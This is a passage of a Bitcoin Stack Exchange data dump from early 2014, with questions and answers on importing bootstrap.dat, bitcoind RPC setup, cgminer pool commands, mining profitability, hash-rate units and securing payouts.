returned at some point in the future. You can also stagger API calls to get 1000 transactions at a time, however I would recommend putting this data in a table for better access.&lt;/p&gt;&#xA;" OwnerUserId="12835" LastActivityDate="2014-01-31T17:04:40.950" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21467" PostTypeId="2" ParentId="17644" CreationDate="2014-01-31T17:17:01.680" Score="0" Body="&lt;p&gt;If you are downloading the blockchain from scratch I strongly recommend using the bootstrap.dat file, which allows your computer to simply verify blocks and import them without needing to download for days or even weeks on end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main issue with downloading from the network is that your client will only download one block at a time. It starts with block #1 and will not try to download anything except for block #2 after block #1 is verified, and so on. As you can imagine, with network latency this can become a rather painful process, as you have endured.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bootstrap.dat file is widely available on bittorrent, torrent files can be found here: &lt;a href=&quot;http://sourceforge.net/projects/bitcoin/files/Bitcoin/blockchain/&quot; rel=&quot;nofollow&quot;&gt;http://sourceforge.net/projects/bitcoin/files/Bitcoin/blockchain/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Direct torrent link: &lt;a href=&quot;http://sourceforge.net/projects/bitcoin/files/Bitcoin/blockchain/bootstrap.dat.torrent/download&quot; rel=&quot;nofollow&quot;&gt;http://sourceforge.net/projects/bitcoin/files/Bitcoin/blockchain/bootstrap.dat.torrent/download&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Downloading the bootstrap.dat file is just as secure as downloading the blockchain from peers, but since all the data is already there, the only latency you suffer between blocks is going to your hard drive and finding the next block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You simply need to place the bootstrap.dat in your %appdata%\Bitcoin folder, (on linux/unix in your .bitcoin folder) the file will be renamed bootstrap.dat.old when the data import is complete. Using this it took me only 4 hours to catch up with the network, as opposed to the 1-2 weeks it took me before reformatting on the same computer.&lt;/p&gt;&#xA;" OwnerUserId="12835" LastActivityDate="2014-01-31T17:17:01.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21468" PostTypeId="2" ParentId="13241" CreationDate="2014-01-31T17:20:36.030" Score="2" Body="&lt;p&gt;I've just posted this in response to another question, but will post again as using bootstrap.dat is by far the best way to get a node up and running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are downloading the blockchain from scratch I strongly recommend using the bootstrap.dat file, which allows your computer to simply verify blocks and import them without needing to download for days or even weeks on end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main issue with downloading from the network is that your client will only download one block at a time. It starts with block #1 and will not try to download anything except for block #2 after block #1 is verified, and so on. As you can imagine, with network latency this can become a rather painful process, as you have endured.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bootstrap.dat file is widely available on bittorrent, torrent files can be found here: &lt;a href=&quot;http://sourceforge.net/projects/bitcoin/files/Bitcoin/blockchain/&quot; rel=&quot;nofollow&quot;&gt;http://sourceforge.net/projects/bitcoin/files/Bitcoin/blockchain/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Direct torrent link: &lt;a href=&quot;http://sourceforge.net/projects/bitcoin/files/Bitcoin/blockchain/bootstrap.dat.torrent/download&quot; rel=&quot;nofollow&quot;&gt;http://sourceforge.net/projects/bitcoin/files/Bitcoin/blockchain/bootstrap.dat.torrent/download&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Downloading the bootstrap.dat file is just as secure as downloading the blockchain from peers, but since all the data is already there, the only latency you suffer between blocks is going to your hard drive and finding the next block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You simply need to place the bootstrap.dat in your %appdata%\Bitcoin folder, (on linux/unix in your .bitcoin folder) the file will be renamed bootstrap.dat.old when the data import is complete. Using this it took me only 4 hours to catch up with the network, as opposed to the 1-2 weeks it took me before reformatting on the same computer.&lt;/p&gt;&#xA;" OwnerUserId="12835" LastActivityDate="2014-01-31T17:20:36.030" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21470" PostTypeId="2" ParentId="17760" CreationDate="2014-01-31T17:42:01.673" Score="0" Body="&lt;p&gt;Do not forget to restart the bitcoind whenever you make any changes to config file. Restart it by following command :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoind stop&#xA;bitcoind &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The content of the bitcoin.conf should be :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;server=1&#xA;daemon=1&#xA;rpcuser=yourusername&#xA;rpcpassword=yourpassword&#xA;rpcallowip=123.123.123.123&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="10829" LastEditorUserId="10829" LastEditDate="2014-03-03T19:38:34.793" LastActivityDate="2014-03-03T19:38:34.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21471" PostTypeId="2" ParentId="17187" CreationDate="2014-01-31T19:47:34.697" Score="8" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is it even worth it for beginners without tons of money to invest in&#xA;  it now?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Short answer&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Longer answer&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I spent over $2400 in ASIC mining equipment from butterfly labs. I started out churning an impressive 120GH/s. I've been running 24x7 and am a little over a month in... I've mined ฿0.78 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Last night my rig crashed. When it came back on I was down to 100 GH/s. I can only assume that one of the on board chips failed. There is apparently no recourse to this loss.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Couple things to note... The difficulty rate is increasing exponentially, at the start I was earning ฿0.03 ($33) per day today I'm done to ฿0.02 ($19) for the same rig and the same approximate contribution to the mining pool. In March, the new 600 GH/s miners come out, at the same price range as the rig I'm running now. I expect that my earnings with the current rig will tank, and at that point be less than the electricity I'm burning to stay hashing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My expectations / hope is to recover the ฿2.5 necessary to break even before the rig's mining rate becomes a negative investment... it's unlikely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that In my recovery cost calculation, I'm considering the 700w of power used to operate the ASIC chips only... my 'computer' is a raspberry pi and has a negligible power consumption rate. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to answer your question directly... &lt;strong&gt;No&lt;/strong&gt;, even with a large budget, the hamster wheel will keep you in the roughly same spot. It's likely a better investment to simply buy the btc on speculation through coinbase or mtgox than to waste your time setting up a rig that requires you to be a relatively competent system admin just to get started. What I mean by that, is that I had to 'flash' a unix system onto the pi and download / compile bfg miner just to get started. Additionally it makes &lt;strong&gt;ALLOT&lt;/strong&gt; of noise, and finding a place to keep it from bugging the family was hard (and I have a large 2800 sqft house).&lt;/p&gt;&#xA;" OwnerUserId="12949" LastEditorUserId="8774" LastEditDate="2014-02-27T18:57:29.603" LastActivityDate="2014-02-27T18:57:29.603" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21472" PostTypeId="1" AcceptedAnswerId="21494" CreationDate="2014-01-31T19:48:46.333" Score="1" ViewCount="439" Body="&lt;p&gt;The Bitcoin wiki &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#Transaction_Verification&quot; rel=&quot;nofollow&quot;&gt;states&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;the first transaction of a block is, with few exceptions, the&#xA;  transaction that grants those coins to their recipient (the miner)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How are those &quot;few exceptions&quot;? When is the first transaction of a block not the miner reward?&lt;/p&gt;&#xA;" OwnerUserId="3837" LastActivityDate="2014-02-01T11:02:49.367" Title="Block first transaction" Tags="|transactions|block|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21473" PostTypeId="1" AcceptedAnswerId="21479" CreationDate="2014-01-31T20:18:16.343" Score="4" ViewCount="4126" Body="&lt;p&gt;I'm getting the latest torrent and I'm running bitcoind on my linux box. How can I import this once it's downloaded?&lt;/p&gt;&#xA;" OwnerUserId="12950" LastActivityDate="2014-05-18T04:06:50.610" Title="How can I import blockchain.dat into bitcoind?" Tags="|bitcoind|import|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21475" PostTypeId="2" ParentId="21473" CreationDate="2014-01-31T20:43:07.130" Score="3" Body="&lt;p&gt;Copy the blockchain.dat file into your bitcoind directory, and the application will begin processing the file, checking for validity as it goes. Once it parses the entire blockchain file, it will connect to peers to continue downloading more-recent blocks.&lt;/p&gt;&#xA;" OwnerUserId="2182" LastActivityDate="2014-01-31T20:43:07.130" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21479" PostTypeId="2" ParentId="21473" CreationDate="2014-01-31T22:20:32.177" Score="5" Body="&lt;p&gt;If you are downloading the blockchain from scratch I strongly recommend using the bootstrap.dat file, which allows your computer to simply verify blocks and import them without needing to download for days or even weeks on end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main issue with downloading from the network is that your client will only download one block at a time. It starts with block #1 and will not try to download anything except for block #2 after block #1 is verified, and so on. As you can imagine, with network latency this can become a rather painful process, as you have endured.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bootstrap.dat file is widely available on bittorrent, torrent files can be found here: &lt;a href=&quot;http://sourceforge.net/projects/bitcoin/files/Bitcoin/blockchain/&quot; rel=&quot;nofollow&quot;&gt;http://sourceforge.net/projects/bitcoin/files/Bitcoin/blockchain/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Direct torrent link: &lt;a href=&quot;http://sourceforge.net/projects/bitcoin/files/Bitcoin/blockchain/bootstrap.dat.torrent/download&quot; rel=&quot;nofollow&quot;&gt;http://sourceforge.net/projects/bitcoin/files/Bitcoin/blockchain/bootstrap.dat.torrent/download&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Downloading the bootstrap.dat file is just as secure as downloading the blockchain from peers, but since all the data is already there, the only latency you suffer between blocks is going to your hard drive and finding the next block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;You simply need to place the &lt;code&gt;bootstrap.dat&lt;/code&gt; in your &lt;code&gt;%appdata%\Bitcoin&lt;/code&gt; folder, (on linux/unix in your &lt;code&gt;.bitcoin&lt;/code&gt; folder). The file will be renamed to &lt;code&gt;bootstrap.dat.old&lt;/code&gt; when the data import is complete. Using this, it took me only 4 hours to catch up with the network, as opposed to the 1-2 weeks it took me before reformatting on the same computer.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="12835" LastEditorUserId="12835" LastEditDate="2014-02-09T19:29:34.737" LastActivityDate="2014-02-09T19:29:34.737" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21482" PostTypeId="2" ParentId="21454" CreationDate="2014-01-31T22:44:06.007" Score="1" Body="&lt;p&gt;cgminer accepts domain names for me, It's all I have used, never have I used an IP. I would check and make sure your URI is correct if DNS is working for you in your web browser and such.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example of a URI for stratum&#xA;stratum+tcp://[serveraddress/domain]:[port]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The cgminer command would be:&#xA;./cgminer -o stratum+tcp://[serveraddress/domain]:[port] -u [username] -p [password]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to test it on another pool, try this command below and try mining a couple shares on Eligius, there's no registration, just use your btc address as username and &quot;x&quot; for password&#xA;cgminer -o stratum+tcp://stratum.mining.eligius.st:3334 -u YourBitcoinAddress -p x&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe you could copy and paste some of the error messages you were getting to help further diagnose this?&lt;/p&gt;&#xA;" OwnerUserId="12944" LastActivityDate="2014-01-31T22:44:06.007" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21483" PostTypeId="1" CreationDate="2014-01-31T23:00:18.380" Score="3" ViewCount="749" Body="&lt;p&gt;I am attempting to access bitcoind's http-json-rpc api thru firefox. I enter the following URL &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://user:password@localhost:8332/getinfo&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and it returns&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;There was an error parsing the JSON document. The document may not be well-formed.&#xA;Document contents:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the document contents are empty, but when I inspect element and look at the response, I get &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Status-code: 404 Not Found&#xA;Connection: Close&#xA;Content-Type: &quot;application/json&quot;&#xA;Server: &quot;bitcoin-json-rpc/v0.8.2-815-g5f083af-beta&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the server is replying, but doesn't recognize the request or something. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My bitcoin.conf file reads&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rpcuser=user&#xA;rpcpassword=password&#xA;rpcport=8332&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I do &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; http://user:password@localhost:8332/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;instead, it gives me a 500 Internal Server Error&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea what is missing?&lt;/p&gt;&#xA;" OwnerUserId="12956" LastEditorUserId="12956" LastEditDate="2014-01-31T23:15:20.690" LastActivityDate="2014-07-23T14:37:23.520" Title="Talking to bitcoind thru web browser returns empty JSON document" Tags="|bitcoind|json-rpc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21485" PostTypeId="1" CreationDate="2014-02-01T02:15:23.907" Score="1" ViewCount="702" Body="&lt;p&gt;When a miner includes a transaction in a block, according to the integrity rules the miner should search for a previous transaction which output the coins being used in the current transaction. Now, the previous transaction is a record stored somewhere deep inside the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the time taken to search and validate the previous txn output in the blockchain data structure?&lt;/p&gt;&#xA;" OwnerUserId="12927" LastEditorUserId="12927" LastEditDate="2014-02-01T03:36:21.937" LastActivityDate="2014-02-01T07:22:36.370" Title="Searching through the blockchain" Tags="|transactions|blockchain|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21486" PostTypeId="1" AcceptedAnswerId="24287" CreationDate="2014-02-01T03:11:43.200" Score="1" ViewCount="704" Body="&lt;p&gt;I'm considering the &lt;a href=&quot;http://www.shortingbitcoins.com/product/bi-fury-5-ghs-usb-3-0-asic-bitcoin-miner-bifury-usa-stock/&quot; rel=&quot;nofollow&quot;&gt;BiFury&lt;/a&gt; which is generates ~5GH/s on a USB3 port. They say,&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Miner is designed to be used with USB 3.0 port or USB 3.0 hub (must meet min. 0.9A per port to achieve full hashrate)&#xA;  USB 2.0 support is also available but hashrate will be lower.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;However they don't quote an expected hash rate for USB2.0. Will it be significantly lower?&lt;/p&gt;&#xA;" OwnerUserId="12958" LastEditorUserId="5406" LastEditDate="2016-03-17T15:03:07.053" LastActivityDate="2016-03-17T15:06:33.800" Title="What hash rate should I expect using a BiFury with USB2.0 rather than USB3.0?" Tags="|asic|mining-hardware|hashpower|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21487" PostTypeId="1" CreationDate="2014-02-01T05:57:52.740" Score="-2" ViewCount="9338" Body="&lt;p&gt;I've seen this answer and maybe I'm just tired&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/9219/what-is-the-difference-between-kh-s-mh-s-gh-s/9220#9220&quot;&gt;What is the difference between kH/s, MH/s, and GH/s?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;1 kH/s is 1,000 hashes per second (sometimes mistakenly written KH/s).&lt;/li&gt;&#xA;  &lt;li&gt;1 MH/s is 1,000,000 hashes per second.&lt;/li&gt;&#xA;  &lt;li&gt;1 GH/s is 1,000,000,000 hashes per second.&lt;/li&gt;&#xA;  &lt;li&gt;1 TH/s is 1,000,000,000,000 hashes per second.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;so if I have 1 TH/s I would have&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1000 GH/s?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and 1 GH/s would be&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1000 MH/s&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or am I missing the math here?&lt;/p&gt;&#xA;" OwnerUserId="3290" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2016-04-25T20:41:59.360" Title="What is the conversion then for MH/s to GH/s and so on" Tags="|hashpower|terminology|" AnswerCount="0" CommentCount="0" FavoriteCount="0" ClosedDate="2014-02-13T19:04:15.583" ContentLicense="CC BY-SA 3.0" />
  <row Id="21488" PostTypeId="2" ParentId="20166" CreationDate="2014-02-01T06:36:15.733" Score="1" Body="&lt;p&gt;Found the answer here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://forums.debian.net/viewtopic.php?t=105858#p506223&quot; rel=&quot;nofollow&quot;&gt;http://forums.debian.net/viewtopic.php?t=105858#p506223&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;worked beautifully for me..&lt;/p&gt;&#xA;" OwnerUserId="12961" LastActivityDate="2014-02-01T06:36:15.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21489" PostTypeId="2" ParentId="9219" CreationDate="2014-02-01T06:59:54.597" Score="6" Body="&lt;p&gt;Hello I would refer you to &lt;a href=&quot;http://en.wikipedia.org/wiki/Metric_prefix&quot; rel=&quot;noreferrer&quot;&gt;wikipedia&lt;/a&gt; Metric prefixes. Hashes are measured in standart SI metric prefixes such as &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kilo - 1 000 Hashes/s&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mega - 1 000 000 Hashes/s&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Giga - 1 000 000 000 Hashes/s&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.G. 2 Kh/s means that 2 000 hashes can be solved per second. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you would like to know more about Hash visit &lt;a href=&quot;https://en.bitcoin.it/wiki/Hash&quot; rel=&quot;noreferrer&quot;&gt;bitcoin.it&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From bitcoin.it :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A hash algorithm turns an arbitrarily-large amount of data into a&#xA;  fixed-length hash. The same hash will always result from the same&#xA;  data, but modifying the data by even one bit will completely change&#xA;  the hash. Like all computer data, hashes are large numbers, and are&#xA;  usually written as hexadecimal. BitCoin uses the SHA-256 hash&#xA;  algorithm to generate verifiably &quot;random&quot; numbers in a way that&#xA;  requires a predictable amount of CPU effort. Generating a SHA-256 hash&#xA;  with a value less than the current target solves a block and wins you&#xA;  some coins.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Or you might check this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Cryptographic_hash&quot; rel=&quot;noreferrer&quot;&gt;Cryptographic hash&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6540" LastActivityDate="2014-02-01T06:59:54.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21490" PostTypeId="2" ParentId="21485" CreationDate="2014-02-01T07:22:36.370" Score="2" Body="&lt;p&gt;If the block is released by mining pool or miner, each peer running bitcoin wallet such as bitcoin-qt or bitcoind will verify the transactions in the block before relaying the block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The steps are following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Verify SHA256 block hash which is structured from version, pref_block,merkle_root,timestamp, bits, nonce and standard SHA256 padding. When the block hash is invalid or minimum difficulty level it is rejected.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The pools or miners are supposed to release blocks according to these &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_rules#.22tx.22_messages&quot; rel=&quot;nofollow&quot;&gt;protocol rules&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of them:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;For each input, look in the main branch and the transaction pool to find the referenced output transaction. If the output transaction is missing for any input, this will be an orphan transaction. Add to the orphan transactions, if a matching transaction is not in there already.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So there are multiple rules that must be followed for a block to get accepted and then relayed.&lt;/p&gt;&#xA;" OwnerUserId="6540" LastActivityDate="2014-02-01T07:22:36.370" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21491" PostTypeId="2" ParentId="17665" CreationDate="2014-02-01T07:26:33.360" Score="1" Body="&lt;p&gt;Bitcoincharts.com has the &lt;a href=&quot;http://bitcoincharts.com/markets/bitstampUSD_depth.html&quot; rel=&quot;nofollow&quot;&gt;&quot;market depth&quot; for Bitstamp&lt;/a&gt;, which is just what you are asking for. It is presented both as a graph and a table with actual bid and ask volumes. There is a free &lt;a href=&quot;http://bitcoincharts.com/about/markets-api/&quot; rel=&quot;nofollow&quot;&gt;API&lt;/a&gt; for much of their data, but (added in edit) to my surprise, the orderbook data does not seem available that way. If it will help you will depend on your application: There is a 15 minute delay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many other sites presenting visualizations of the orderbooks of exchanges; one example is &lt;a href=&quot;http://bitcoinity.org/markets/bitstamp/USD&quot; rel=&quot;nofollow&quot;&gt;Bitcoinity.org's Bitstamp page&lt;/a&gt;. But I   am not aware of any other than Bitcoincharts.com that provides a public API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question has been changed from asking if this data is available &quot;at a third party&quot; to whether it is available at all. Yes, it is available, from the first party (Bitstamp), via the API link provided in the question itself.&lt;/p&gt;&#xA;" OwnerDisplayName="user6049" LastEditorDisplayName="user6049" LastEditDate="2014-02-01T15:20:37.883" LastActivityDate="2014-02-01T15:20:37.883" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21493" PostTypeId="2" ParentId="12395" CreationDate="2014-02-01T09:15:34.687" Score="1" Body="&lt;p&gt;bitcoincharts.com will let you download their entire trade history of any exchange (for free) here: &lt;a href=&quot;http://api.bitcoincharts.com/v1/csv/&quot; rel=&quot;nofollow&quot;&gt;http://api.bitcoincharts.com/v1/csv/&lt;/a&gt;. Given the raw trade data (amount, price, timestamp), with some code, you can construct candles. I'm not sure this is of any use, though, because I don't know what kind of backtesting you're doing and whether you are dependent on some existing software that may or may not work with raw trade data (or whether you can make candles from it).&lt;/p&gt;&#xA;" OwnerUserId="12616" LastActivityDate="2014-02-01T09:15:34.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21494" PostTypeId="2" ParentId="21472" CreationDate="2014-02-01T11:02:49.367" Score="1" Body="&lt;p&gt;Based on bitcoin source code: &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/0.8.6/src/main.cpp#L2112&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/blob/0.8.6/src/main.cpp#L2112&lt;/a&gt; a valid block should have the Coinbase transaction (the one that spends the rewards and fees) as the first transaction and no other coinbase transactions must appear in the block.&#xA;Spending the full reward and fees is not enforced.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So your answer is only invalid blocks do not have a Coinbase transaction or have it at a different position from the first one.&#xA;But that transaction can be used to send the coins to any address not only miners one, so maybe there has been blocks using the coinbase transaction to pay for goods or pay other people different from the miner (for example Eligius pool uses it to pay the shares directly).&lt;/p&gt;&#xA;" OwnerUserId="10574" LastActivityDate="2014-02-01T11:02:49.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21495" PostTypeId="1" CreationDate="2014-02-01T11:21:42.180" Score="2" ViewCount="3808" Body="&lt;p&gt;Which one actually has a better payoff? As I understand from their websites, their fees are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Middlecoin  3.88%&#xA;Wafflepool  1%&#xA;Multipool.us    1.50%&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, clearly Wafflepool's the best, but how are their respective &quot;algorithms&quot;? Are they making the right mining decisions - does somebody have some empirical evidence of that?&lt;/p&gt;&#xA;" OwnerUserId="12923" LastActivityDate="2014-02-04T19:05:19.023" Title="Middlecoin vs Wafflepool vs multipool.us" Tags="|litecoin|scrypt|altcoin|pool-payout-methods|" AnswerCount="0" CommentCount="3" ClosedDate="2014-02-09T01:39:17.327" ContentLicense="CC BY-SA 3.0" />
  <row Id="21496" PostTypeId="1" AcceptedAnswerId="21534" CreationDate="2014-02-01T11:31:16.893" Score="4" ViewCount="684" Body="&lt;p&gt;I studied lots of valuable q&amp;amp;a here, but still I have some doubts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Case - simple game (calm down - I'm not one of the rookies creating exchange as seen here), which allows to pay for a game. The character of the gameplay forces us to create virtual balance for each player and create payouts on daily basis/request.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's done:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;compiled bitcoind client is running on encrypted wallet in background&lt;/li&gt;&#xA;&lt;li&gt;creating in advance pool of addresses&lt;/li&gt;&#xA;&lt;li&gt;assigning free address to registered user&lt;/li&gt;&#xA;&lt;li&gt;listen for incoming transactions/confirmations&lt;/li&gt;&#xA;&lt;li&gt;on 6th confirmation we add transaction to user balance&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Where I need guidance / pro advice:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;strip my runnning bitcoind client with wallet from holding private keys (I've read about it but don't know how to achieve it properly)&lt;/li&gt;&#xA;&lt;li&gt;many guides advice to run bitcoind client on other machine - but how to setup secure communication between two machines (vpn?), if someone gains access to game server, it doesn't matter where client is located (right?)&lt;/li&gt;&#xA;&lt;li&gt;as private keys are stored away, how I can deal with payout requests? Are there known practices in that field? I've read &lt;a href=&quot;https://bitcoinsecurityproject.org/SecureApplicationArchitecture/&quot; rel=&quot;nofollow&quot;&gt;https://bitcoinsecurityproject.org/SecureApplicationArchitecture/&lt;/a&gt;, but can't imagine real world example/process &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Last but not least - if users send coins to private addresses created in one wallet, which private key should sign a transaction? As you probably see, I'm confused with some &quot;basics&quot; after research here :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found steps to sign transaction offline (&lt;a href=&quot;http://people.xiph.org/~greg/signdemo.txt&quot; rel=&quot;nofollow&quot;&gt;http://people.xiph.org/~greg/signdemo.txt&lt;/a&gt;) is it preferable way in real world apps?&lt;/p&gt;&#xA;" OwnerUserId="12964" LastEditorUserId="12964" LastEditDate="2014-02-01T13:24:43.207" LastActivityDate="2014-02-02T09:13:58.740" Title="Creating secure architecture and payout process" Tags="|transactions|bitcoind|payment|server|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
